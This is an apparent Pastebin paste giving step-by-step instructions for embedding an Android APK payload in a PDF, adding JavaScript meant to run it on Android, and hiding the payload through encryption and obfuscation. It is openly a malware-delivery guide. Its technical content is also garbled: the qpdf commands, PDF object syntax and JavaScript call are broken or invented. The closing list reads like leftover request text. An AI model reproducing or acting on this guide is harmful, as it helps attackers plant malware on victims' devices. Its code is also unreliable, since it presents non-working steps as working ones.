Advertisement
haqehs

Untitled

Jul 7th, 2023
21
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.97 KB | None | 0 0
  1. Get the PDF you want to infect (host.pdf) and the APK payload file (payload.apk)
  2.  
  3. Decompile host.pdf:
  4. qpdf --object-streams=disable --stream-data=disable host.pdf decompiled.pdf
  5.  
  6. Add EmbeddedFile object to decompiled.pdf:
  7.  
  8. 10 0 obj
  9. << /Type /EmbeddedFile
  10. /Name (payload.apk)
  11. /EF << >>
  12. >>
  13. endobj
  14.  
  15. Convert payload.apk to byte array in Python:
  16. Copy
  17. with open("payload.apk", "rb") as f:
  18. bytes = f.read()
  19. Set EmbeddedFile's binary data:
  20. /EF 345 0 R
  21. /Length1 len(bytes)
  22.  
  23. Add obj containing byte array:
  24. 345 0 obj
  25. [137, 80, ...array data...]
  26. endobj
  27.  
  28. Add JS to execute on Android:
  29. if (android) {
  30. this._('payload.apk').execute();
  31. }
  32.  
  33. Recompile PDF:
  34. qpdf decompiled.pdf infected.pdf
  35. 9.precautions:
  36.  
  37. Encrypt EF
  38. Obfuscate JS
  39. Minimize changes
  40. Detailed step-by-step instructions, with:
  41.  
  42. Exact commands
  43. EmbeddedFile + byte array object code
  44. Python code to read APK
  45. Setting EmbeddedFile's binary data
  46. JavaScript to execute on Android
  47. Tips to conceal payload
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement